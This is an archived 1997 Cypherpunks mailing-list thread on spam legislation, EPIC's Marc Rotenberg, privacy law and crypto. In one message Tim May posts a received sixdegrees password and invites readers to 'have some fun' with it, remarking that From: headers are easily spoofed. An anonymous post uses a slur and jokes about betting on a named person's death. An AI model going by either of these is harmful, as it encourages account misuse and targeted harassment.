>> their chief spokeswonks giving a policy statement I realize they are "not
>> on my side."
>>
>> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
>> anti-spam legislation, saying that what the legislators in Congress really
>> need to look into is how the spammers develop their data bases.....
>>
>> Incredible. Does he propose investigations of private data gathering?
>> Perhaps search warrants served on those who take public postings and
>> construct data bases?
>>
>> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
>> realize the "spammers" are merely  taking publicly available (= legally
>> available, as 99.99% of all such information is) information and using
>> legal channels to contact me. I may not "like" it, but their behavior is as
>> legal as someone calling me on the phone.
>>
>> (And ny nearly any measure of hassle factor, dashing to get to the phone
>> only to find it's a salesman selling something I don't want is worse than
>> any 20 unwanted e-mail messages.)
>>
>> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
>> compilation and use of public information.
>>
>> These people are NOT our allies.
>>
>> --Tim May
>>
>> There's something wrong when I'm a felon under an increasing number of laws.
>> Only one response to the key grabbers is warranted: "Death to Tyrants!"
>> ---------:---------:---------:---------:---------:---------:---------:----
>> Timothy C. May              | Crypto Anarchy: encryption, digital money,
>> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>> Higher Power: 2^1398269     | black markets, collapse of governments.
>> "National borders aren't even speed bumps on the information superhighway."
>>
>>
>>
>>
>>



==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sat, 31 May 1997 22:25:48 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102801afb561409260@[207.167.93.63]>
Message-ID: <3.0.2.32.19970531101055.00789c88@keystone.intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I have not heard Rotenberg's statements on private collection of public data 
and spam, but I can make my own.


At 10:13 PM 5/30/97 -0700, Tim May wrote:
>The latest quote is from Marc Rotenberg, on a CNN piece on spam and
>anti-spam legislation, saying that what the legislators in Congress really
>need to look into is how the spammers develop their data bases.....
...
>Incredible. Does he propose investigations of private data gathering?

I'd agree here.  Rather than have Congress blindly pass a law, some 
investigation of the matter should be done first.  While I am not supporting a 
law, any such law should have three parts:

 a) Codification
 b) Rulemaking
 c) Further Investigation

Codification is actual law, and takes a lot of agreement and about two years 
to change.  Rules are created by an agency and take about 120 to change.  
Investigation allows the clueless and unknowing to study the impact of the law 
and whether or not the law, and less or stronger provisions are appropriate.  
Take one simple provision as an example, tagging of commercial spam.  One less 
enlightened bill proposes that the subject line always begin with the word 
"Advertisement".  A better solution would be to a) codify the principle, not 
the method.  "All spam must be tagged."  b) Allow rules to be created that 
describe the tagging process (for example an X-header or subject line.  The 
use of "Ad:" instead of the full word) c) Allow the agency involved to perform 
a study to see if the rulemaking worked, if not then change the rule.

As for investigations into data gathering, I've been doing that for some time. 
 It has educated me, and would no doubt educate congress.  Two years ago, I 
spoke with the president of Pro-CD, a popular CD-phonebook company.  I asked 
him why unlisted numbers are not on the CD's, and why so few fax numbers are 
on the CD's.  This information is readily available.  He said that only 
previous published collections are republished by him.  What spammers are 
doing is invasive in that they are collecting the information for the first 
time.

>I may not "like" it, but their behavior is as legal as someone 
>calling me on the phone.

I'll agree with you to some degree.  After all, it *IS* ILLEGAL for someone to 
call you on the phone for the equivalent of spam, many people would like email 
spam to be just as illegal.  However there are loopholes in the law that allow 
email to be sent under the same circumstances.  State laws, and the federal 
law have provisions such as time ranges calls can be made (daytime hours 
only), prohibitions on the use of automated equipment, removal lists, and call 
destinations absolutely prohibited (hospitals, emergency numbers).

For good or for bad, the current movement in lawmaking is to plug these 
loopholes that exist for email.

>Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day.

Then you miss the point.  For all practical purposes, the spam industry does 
not exist in the US.  There are one or two, perhaps a dozen companies doing 
this as a full time endevour.  We are not close to spam companies matching the 
number of radio stations, or even newspapers.  We do not even envision the 
concept of the number of spammers equaling the number of lawyers.  The current 
spam bills are meant to address the actions of about five people in the entire 
United States.

Pick up any metropolitan newspaper.  Count the number of classified ads on any 
given day.  Spam is cheaper and reaches more people.  Would you like to see 
this number of spams in you mail box?  Will you honestly say that 500-1000 
spams in your mailbox is simply annoying?  Multiply this by the number of 
newspapers in the US.   

The manner in which the information is collected is invasive.  People feel 
their privacy is being violated.  The right to be left alone is a fundamental 
right.  While some spammers may feel they have a right to speak, they have no 
right to be heard.  They do not have a right to force me to listen.  The cost 
shifting problem also needs to be addressed.

Current spam bills are based on CONTENT of the spam message.  Another way to 
address the problem is to look at the data collection issue.  A third method 
is to address the headers.

Data collection is currently being done on an opt-out basis.  Opt-in is 
thought by many to be preferable.

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM5Axa0GpGhRXg5NZAQEJEgIAoKPhLODYtbmqrSTZ2bUd43gKvpt1XLxs
TwzpRAb/yZWvmeurXpJ9YAKjFfGxvpkxQ6iX1ButM1NcrULYnmVSdw==
=RSAd
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 31 May 1997 23:25:53 +0800
To: Marc Rotenberg <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531031700.9128C-100000@cp.pathfinder.com>
Message-ID: <3.0.2.32.19970531111335.00722e6c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:59 AM 5/31/97 -0400, Marc Rotenberg wrote:

>Btw - Declan's summary of our views on privacy below are
>just silly. Many of the greatest defenders of First Amendment
>freedoms have also felt most strongly about the right of
>privacy. The question is always how you protect rights.
>Perhaps libertarians would do away with all laws that protect
>personal freedoms. Bad call.

Of course the beloved Eurocratic method of protecting privacy in the computer 
age is to require registration of all computers and databases which store 
discrete information about individuals.

Register Communists Not Computers!*

DCF

*Just kidding.  Commies shouldn't have to register either.


-----BEGIN PGP SIGNATURE-----
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iQCVAwUBM5BAHoVO4r4sgSPhAQFJYgP/bnVFsw+gSdbblQ0QEjkcZOV+H1FOUIoZ
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qyHkJBQjsbmvatTYAY6LWhijAVsDuHvJXHjWiyTKIwwTk71h+wSl1EGrPMYjr5jk
c1yLnYQ6i9U=
=zUYB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 1 Jun 1997 00:45:01 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
Message-ID: <199705311633.LAA21181@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970531090958.6950A-100000@well.com>, on 05/31/97 
   at 09:12 AM, Declan McCullagh <declan@well.com> said:

>Oh, and the much-touted European Privacy Directive has
>made it near-impossible to exchange employee
>information between branches of the same firm that are
>physically in different countries. Bad move,
>Eurocrats.

I think that looking towards Europe on issues of Civil Liberties is the
sillist of notions. The Big 3 players in Europe (UK,Germany,France)
wouldn't have a clue how to operate in a free and open society the smaller
players are even worse.

We have right now in Europe the universal embracement of
Socialism/Communisim/Statism at the same time that Eastern Europe & the
former Soviet Empire are struggling towards Democracy & Freedom.

Anyone who can point towards the actions of the Eurocrats as an example of
how we should go does not have the intrest of Freedom & Liberty for the
citizens at hart.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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XY1+af0uBiA=
=ndFN
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 02:53:54 +0800
To: cypherpunks@algebra.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
Message-ID: <v03102803afb61b594b27@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:58 AM -0700 5/31/97, Mac Norton wrote:

>Is one of the questions, whether we have right to take steps
>to protect our "transactional" privacy?  The Brandeis and Warren
>"right to be left alone" shares a connection with property rights
>and has more than a nodding acquaintance with Fourth and Fifth
>Amendment concepts--there's not much utility in a right to be
>left alone if you have no place to be alone or if others can
>enter your place/space at will.

Indeed. And the First and Fourth, amongst other provisions, says that
government may not interfere with efforts to produce secure and private
"zones" or "spaces."

The First, in that one can _whisper_ or speak in _strange languages_.

Or freely associate with persons of one's choosing. ("assemble peaceably")

The Fourth, in that these meetings, or homes, or whatever, are free from
unreasonable searches and seizures.

(And there's the one about quartering troops...another statement of the
"right to create a private zone." Not a generalized right of privacy, in
the sense the Rotenberg's and anti-spam legislators speak of, but a right
to bar the door, shut the curtains, turn off the phone, disconnect  the
computer, and refuse to exchange information with others.)

>Off your space ("in public") you can usually be observed; much
>of the complaining in the past couple of decades is about the
>increasingly sophisticated, even automated, means of observation
>and recording, not about the fact that if you enter a premise
>(say, a website:)) you can be seen and overheard by other people.

And while many of us don't always _like_ being observed when we are in
public, or having our words catalogged in Deja News data bases, or even
having friends remind of things we once did or said, the law should have
nothing to say about these "rememberances."

(The Founders would snort and gasp were they to hear that the government
would be legislating what people could remember, what things they could
write down, what gossip they could pass on, and so on. Seems to me that
gossip and diaries are pretty clearly protected First Amendment activities.
If gossip turns into libel or slander--not that I personally agree with
even libel and slander laws, but this is another topic--then the redress
should be in civil court for the specific acts of libel or slander, not any
kind of general restrictions or licensing on gossip and remembering. This
seems to be a slam dunk First Amendment issue. Sadly, the creep of laws has
never produced an adequate case to be overturned, I surmise.)


>It seems to me this is a question of degree, and not a threat
>to some pre-existing right to remain anonymous and "unseen"
>in public. In other words, is there a right to forbid others
>from trying to observe you in public, especially in places
>where those others have an equal (or greater) right to be?

There clearly cannot be laws which forbid such observations (or
"rememberances," as I have been calling them). To forbid such
rememberances, to forbid the keeping of diaries recording the activities
and words of others, to legislate whom such rememberances may be relayed
to....arghhh! Such laws are a gross violation of the First and other
Amendments.


>So the question may be not whether we can prohibit others from
>doing so, by right, but whether we have right to attempt
>peacefully to *prevent* them from doing so?  I.e., can the
>gov't forbid us from trying to protect our privacy by avaliable
>means, say, crypto?

I've always felt the strongest argument for complete and total freedom to
use any and all cryptography is the First Amendment freedom to speak as one
wishes without prior restraint. A cipher or code is just that, a _code_.
Like speaking in French amongst other people who don't understand French,
or using hand signals, or using a code book. Or whispering.

As Ken Dam has said, we have the freedom to whisper in the ear of another;
we have the same right to "whisper" over telephone or computer lines. (This
great metaphor is usually attributed to Phil Zimmermann, but he told me he
heard this from Ken Dam, the Washington area attorney.)

As Cypherpunks, we understand that these "rights to privacy" are really
about the ability to make private spaces, not some rights conferred by a
magnanimous government.

The anti-spam legislation now being proposed is profoundly unconstitutional.

We haven't been discussing this much, but one of the main provisions of
some of the proposed laws is the requirement that all e-mail have a clearly
defined return address. This would likely be thrown out by the Supremes,
pace the 1956 decision on anonymous political speech. Ditto for "spam" laws
in general. And "campaign reform" laws, too. Canada is trying to get Web
page political comments banned, and anonymous endorseements or critiques
banned. This is the fever swamp one gets into if the First Amendment is
finessed in any way.

Straight rejection of any laws restrictiing speech or freedom of assembly
or protection from search and seizure is the only way to go. Talk of
"compromise" is a mistake.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 03:00:21 +0800
To: cypherpunks@algebra.com
Subject: And speaking of spamming! (was: Stanton McCandlish)
Message-ID: <v03102804afb62251ee51@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Speaking of unwanted messages, which legislators call "spamming."

An EFF person, whom I do respect, by the way, added my name to a spammer's
list, some shtick they have called "sixdegrees."

Here's the spam I just got, complete with what they claim is my "password."
Inasmuch as I never requested this password, and have no intention of using
it, and have no contractual relationship with either "sixdegrees" or
Stanton McCandlish, you folks might want to have some fun with this alleged
service and (unrequested) password. The password may only work if it comes
from "tcmay@mail.got.net," but, then, I hear that such "From:" fields are
easily spoofed.

--Tim

>X-From_: bmkf0032@auto.sixdegrees.com Sat May 31 10:43:36 1997
>X-Real-To: <tcmay@mail.got.net>
>From: "sixdegrees" <bmkf0032@auto.sixdegrees.com>
>To: "May Tim"  <tcmay@mail.got.net>
>Reply-To: "sixdegrees" <bmkf0032@auto.sixdegrees.com>
>Subject: Stanton McCandlish
>Date: Sat, 31 May 1997 13:45:12 Eastern Daylight Time
>
>Name: May Tim
>E-Mail Address: tcmay@mail.got.net
>sixdegrees Password: cusproll
>
>You've been listed by Stanton McCandlish as "Acquaintance"
>as part of a free Internet networking service called sixdegrees(tm).
>
>WHAT WE ARE:
>
>   sixdegrees is a Web site at http://www.sixdegrees.com/ that's
>   based on the theory that everyone on earth is connected to
>   everyone else through a path of six people or less. We hope to
>   use the power of the Internet to revolutionize the way people
>   network.
>
>WHAT'S IN IT FOR YOU:
>
>   You can come to http://www.sixdegrees.com/ and use our FREE
>   services to network with the people you want to know through
>   the people you do know. You can find out how you're connected
>   to specific people, like that person who's interviewing you for
>   a new job next week. Or, you can find out how you're connected
>   to certain kinds of people, like pediatricians in San Francisco,
>   or inline skaters in New York.
>
>WHAT'S IN IT FOR US:
>
>   We make money by selling ads on the sixdegrees site. We
>   never sell lists of names or any specific information about
>   our individual members to anybody. To find out more about
>   our policies regarding privacy, just visit
>   http://www.sixdegrees.com/about/privacy.cfm
>
>HOW IT WORKS:
>
>   If you list your contacts and how you know them, we'll forward
>   them an email like this one. They'll be invited to confirm their
>   relationship to you and to participate in sixdegrees themselves
>   by listing their contacts.
>
>WHAT TO DO NEXT:
>
>   Just reply to this e-mail by following the INSTRUCTIONS below
>   (you may want to print it out first - it's easier that way.)
>
>
>   And remember to visit http://www.sixdegrees.com/. Click on Services,
>   log-in with your password, which is cusproll, and enjoy
>   networking on a whole new level.
>
>===================================================================
>INSTRUCTIONS FOR REPLYING:
>
>FIRST:
>
>   Click your mail program's REPLY button.
>
>SECOND:
>
>   On the FIRST line of the message body of the reply e-mail that
>   opens, type only the word CONFIRM or DENY to let us know if you
>   are in fact Stanton's Acquaintance.
>
>THIRD:
>   On the next line of the message body list the first and last names
>   and e-mail addresses of at least TWO people you know, and the
>   relationship numbers that correspond with how those people are
>   related to you.
>
>MAKE SURE:
>
>*  That the first name, last name, e-mail address and relationship
>   number are separated by SEMI-COLONS.
>
>*  You list at least TWO people if you want to become a member.
>   (You can list as many as you want - the more you list, the
>   larger your network of contacts will be.)
>
>*  Each entry is on its OWN LINE.
>
>*  You follow the format of these examples:
>
>      John; Smith; jsmith@fakeplace.com; 12
>      Jane; Doe; superjane@fakeplace.com; 3
>
>*  And that you define each relationship by choosing a number from
>   this list:
>
> 1=wife              2=husband              3=life partner
> 4=significant other 5=mother               6=father
> 7=sister            8=brother              9=daughter
>10=son              11=other family member 12=friend
>13=employer         14=employee            15=co-worker
>16=client           17=service provider    18=business contact
>19=fellow alum      20=acquaintance
>
>
>FOURTH:
>
>   Click send, and that's it. We look forward to hearing from you.
>
>===================================================================
>
>** PLEASE NOTE: All replies to this address are processed by a
>   computer. If you have any problems, questions or requests send an
>   e-mail to issues@sixdegrees.com and someone will get back to you
>   as soon as possible.
>
>** If you'd rather not participate in sixdegrees and would prefer
>   not to receive any further e-mails from us at this time, please
>   send an e-mail to remove@sixdegrees.com that says "REMOVE ME".
>
>===================================================================
>
>
>
>E.DB.ANB.1
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 03:52:06 +0800
To: Marc Rotenberg <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
Message-ID: <v03102805afb627d83acf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:02 PM -0700 5/31/97, Marc Rotenberg wrote:
>Back to Tim's original point, I wonder if he knows
>that the P-TRAK data that Lexis/Nexis said was
>"public information" was actually taken from
>credit reports collected and sold by TransUnion.
>TU was able to sell the data because of a loophole
>in the Fair Credit Reporting Act. Sure, you post
>to the net that's public, but a lot of data collection
>is much more sleazy.

In my view, the Fair Credit Reporting Act is an unconstitutional
restriction on my right to compile records as I see fit.

Under the FCRA, if I take newspaper reports and public filings, for
example, of someone's bankruptcy in 1985 and make this part of "Tim's
Credit Evaluation" of that person, I have violated the FCRA.

(I believe the current "limit" for such "rememberances" is 8 years. Why
should the government have any ability to tell me I must "forget" records
older than 8 years? In fact, what part of "Congress shall make no law..."
do they not understand?)

More  to the point of the Cypherpunks list--and this is something we talked
about at the very first physical meeting, almost 5 years ago--it will
become increasingly easy for the FCRA to be bypassed with offshore data
havens.

Such data havens, discussed in physical form by Sterling in '88 ("Islands
in the Net"), and others (some even earlier than Sterling), and in
"cyberspace" form by many us (e.g., BlackNet, a working cyberspace data
haven), will be completely unaffected by legislation such as the FCRA.

(Though what will happen is that legislators will attempt to felonize
contacts with such data bases, much as they are doing with Internet
gambling. Remailers and Web proxies solve this problem. The usual arms
race.)

>I'd also appreciate some comment/criticism on
>the piece I did for Wired. My point was that
>in countries where there are legal rights to
>privacy it will be easier for technologies of privacy
>to flourish. I gave as examples the fact that PRZ
>was nearly indicted in the US while David Chaum
>was being applauded by the European Commission
>for building anonymous payment schemes. The OECD
>crypto policy drafting experience confirmed my
>suspicion.

I seldom read "Wired," so I didn't see this one. But the issues of Europe
vs. the U.S. are notoriously complex. For every "Europe is better" point,
such as not applying pressure to PRZ, there are the obvious counterpoints,
such as Compuserve being prosecuted in Germany, the nearly full ban on
crypto in France, the extradition of an American neo-Nazi publisher from
Belgium to Germany, and so on.

And as for Chaum and Digicash, Digicash is now in Silicon Valley. No firm
conclusions can be drawn one way or another.

Oh, and as for privacy in Europe, I'll remember how much they cherish
privacy the next time I'm required to leave my passport with the hotel
front desk (Europeans confirm that the police compile lists each night from
said deposited passports). They were still doing this in 1983 when I spent
6 weeks travelling through Europe; and it wasn't to ensure I'd pay my bill,
as they had my credit card stuff for that.


>Let me also try to explain how the simple-minded
>First Amendment-privacy rights trade-off often
>misses the point about privacy claims.  Consider
>the article about Judge Bork's video viewing
>habits back in 1987. Should Congress/the Courts
>prevent City Paper from publishing the article?
>Of course not. Could Congress/the Courts require
>video record stores not to disclose customer
>records without explict consent? You decide.

The best solution is neither of these options: Video rental stores don't
need True Names except to collect on unreturned tapes. (They might _like_
True Names, or at least mailing addresses, for advertising reasons, but
they don't _need_ them, and, like Radio Shack, will not make it a
requirement for a transaction.)

As with other such items, deposits work well here. My localvideo store does
not require true names, so long as a sufficient deposit is left for each
tape. Most persons use credit cards as the "return guaranty." Note also
that credit cards need not be in the true name of anyone, via various
options, much discussed on various lists.


>For the hardcore free market types, take a look
>at Posner's *Economics of Justice.* There are
>good economic reasons for privacy laws, e.g.
>do you really want to negotiate with the telcos
>on a case-by-case basis whether they can sell
>the contents of your phonecalls?

Such negotiations would likely not be on a case by case basis, for
transaction cost reasons on both sides. But I have no problem with
"allowing" a phone company to offer a cheaper service, for example, which
told customers it would sell the contents of the calls, or insert
advertisements at random intervals during a call, or whatever.

(Or even a phone company which offered to negotiate on a per call
basis...as with the cases above, I expect such a venture would flop, but
that's a different issue from whether such services should be "allowed."

And, in fact, the situation Marc describes is already with us on the Web.
Some sites sell lists of those who hit their sites. How is this different
from the Bork or phone cases?

It isn't.


>To be clear, I do believe that there should be
>laws to protect the right of privacy and that
>there should be an office within the federal
>government to advocate on behalf of privacy
>interests. I also believe that if such an agency
>had been established in 1991 when it was proposed,
>it would have been much harder for the government
>to push subsequently for digital telephony, Clipper,
>GAK, etc.

I don't believe there should be such laws, obviously.

And more importantly, strong crypto provides numerous monkeywrenchings of
such laws.

Pass a law requiring return addresses on all messages....the effect will be
to move the spam sites offshore. Then what do you do?

Pass a law like the Fair Credit Reporting Act saying it's a crime for Tim
May to "remember" and "tell others" that Suzie Hopkins skipped out on her
rent in 1988...the effect will be for the TransUnions and Equifaxes of the
near future to locate themselves in the Cayman Islands, beyond the FCRA.

Pass a law to make it a crime for a prospective employer or lender to
connect to this site in the Cayman Islands...the effect will be to increase
use of Web proxies and anonymous remailers.

And so on. Crypto anarchy means monkeywrenching these do-gooder laws.

(When EPIC and ACLU figure out the real implications of strong crypto, look
for them to talk about "compromises" on access to strong crypto....hey,
maybe SAFE is an indication they've started to realize what is coming.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 01:27:02 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102802afb5fd674225@[207.167.93.63]>
Message-ID: <y0uk8D53w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:
> Any laws forbidding spam generation in the U.S. will simply (or already)
> move the spam-originating sites offshore. Then what happens? Is my ISP
> supposed to screen international messages for me? Do we get the
> U.N./OECD/Interpol/Illuminati to "regularize" anti-spam laws in all 197
> recognized nations?

Of course, the "anti-spamming" laws will also be used to suppress the
"politically incorrect" speech.  Recall that Jim Bell has already been
accused of "spamming", in addition to other crimes.

Those who follow the Usenet newsgroup alt.conspiracy may have observed
a recent trend: someone posts an anti-Clinton rant.  An unknown "rogue
retromoderator" forges a cancel for it. (Given how quickly forged "spam"
gets tracked down, it's amazing how no one ever catches these pesky "rogue
cancellers".) The author reposts the original rant. This repeats a few
times, after which Chris Lewis of BNA/Nortel kicks in and starts
issuing cancels for the rant, and any articler quoting the rant,
because it's been reposted too many times already, making it "spam".

Compare this with the CBS 60 minutes story about a month ago, about
how bad people are allowed to tell lies about the U.S. government on
the Internet, and how there ought to be a law against it.

> The "500 messages a day" problem will be solved through other means.  It
> has to be. Laws are insufficient, and wrong-headed, solutions for speech
> issues.

A promiscous e-mail box that assumes that strangers have something interesting
to say is quickly becoming obsolete.

A possible solution is to set up a procmail recipet that would dump all
incoming e-mail from unrecognized correspondents into a separate folder, which
one could examine at leasure once a week.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 1 Jun 1997 06:13:44 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <y0uk8D53w165w@bwalk.dm.com>
Message-ID: <3.0.2.32.19970531125318.00760494@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:16 PM 5/31/97 -0400, Declan McCullagh wrote:
>Uh, no. Bell was charged with violating:
>
>26 U.S.C. Section 7212(a)
>42 U.S.C. Section 408(a)
>
>Which are, generally, attempts to interfere with administration of
>internal revenue laws and fraudulent use of a false SSN.

If that was the extend of the story, Bell wouldn't still be in jail.  The
USC violations above may be the official charge, but they hardly justify
keeping somebody locked up without bail. Bell is still in jail because he
wrote a politically incorrect essay and made the mistake of publishing it.
Come to think of it, that makes him a political prisoner.

What is the penalty for using a fake SSN? Does using a fake SSN warrant
keeping the suspect locked up without bail? I would think not.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 1 Jun 1997 02:10:12 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
Message-ID: <Pine.SOL.3.96.970531124725.2814B-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 31 May 1997, Declan McCullagh wrote:

> The initial question has to be not how you protect rights,
> but how you define them. For example, we have a right
> to speak freely; there should be strict limits on
> government controls on free expression or the press.
> The state has unique powers of coercion. Similarly,
> there should be strict limits on government collection
> of personal data about its citizens.
> 
> But transactional privacy is a different matter. Sure,
> we may generally agree that privacy is the famous
> "right to be left alone," but how does that extend to
> what happens when I make an affirmative choice to
> connect to a web site that might record some info
> about my visit -- as an alternative to charging me?
> Nobody's forcing me to visit that site. That's why
> I'm starting to come around to the idea that privacy
> is not a universal right but a preference. We need a
> market in privacy, not inflexible FTC rulemaking.

Is one of the questions, whether we have right to take steps
to protect our "transactional" privacy?  The Brandeis and Warren
"right to be left alone" shares a connection with property rights
and has more than a nodding acquaintance with Fourth and Fifth
Amendment concepts--there's not much utility in a right to be
left alone if you have no place to be alone or if others can
enter your place/space at will.

Off your space ("in public") you can usually be observed; much
of the complaining in the past couple of decades is about the
increasingly sophisticated, even automated, means of observation
and recording, not about the fact that if you enter a premise
(say, a website:)) you can be seen and overheard by other people.
It seems to me this is a question of degree, and not a threat
to some pre-existing right to remain anonymous and "unseen"
in public. In other words, is there a right to forbid others
from trying to observe you in public, especially in places
where those others have an equal (or greater) right to be?

So the question may be not whether we can prohibit others from
doing so, by right, but whether we have right to attempt 
peacefully to *prevent* them from doing so?  I.e., can the 
gov't forbid us from trying to protect our privacy by avaliable
means, say, crypto?
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 01:24:35 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <199705311633.LAA21181@mailhub.amaranth.com>
Message-ID: <DPVk8D54w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:
>
> We have right now in Europe the universal embracement of
> Socialism/Communisim/Statism at the same time that Eastern Europe & the

Yep.

> former Soviet Empire are struggling towards Democracy & Freedom.

Nope.  More free market in the economies, but very bad record on
political freedoms in most eastern european countries + former
soviet republics

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 01:18:00 +0800
To: cypherpunks@toad.com
Subject: Re: The Bible Code
Message-ID: <199705311659.MAA27760@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
> Published today with great fanfare, "The Bible Code"
> describes the fruits of three Israeli mathematicians in
> decrypting hidden messages in the Bible by textual
> analysis algorithms. Blurbs claim that the work passed
> peer review for publication in a math journal a few
> years back, was confirmed by "a US Defense Department
> code-breaker" and predicted the assassinations of
> JFK, RFK, Sadat and Rabin.
...
> Better, is this book the first of many to come to celebrate the
> cook-ups of codes and cyphers and algorithmic chefs? Is a
> film in the works, or, best, a Seinfeld of 0s and 1s?

I will shortly be releasing my new book, "The ASCII Code" which
outlines the predictions made based on decrypting the hidden
messages in the ASCII artwork sent to the cypherpunks list.

Since none of the predictions have proven accurate, my book
speculates that perhaps Tim May isn't a cocksucker, after all.

All proceeds from the book will be converted to eca$h and used
to wager on the predicted date of death for Graham-John Bullers
on the AP Bot at:
http://www3.sk.sympatico.ca/carljohn/AP/AP.htm

DeathMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 1 Jun 1997 02:37:47 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: legal EAR work-around/Paper based remailers
In-Reply-To: <199705311800.TAA00253@server.test.net>
Message-ID: <199705311824.NAA22323@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

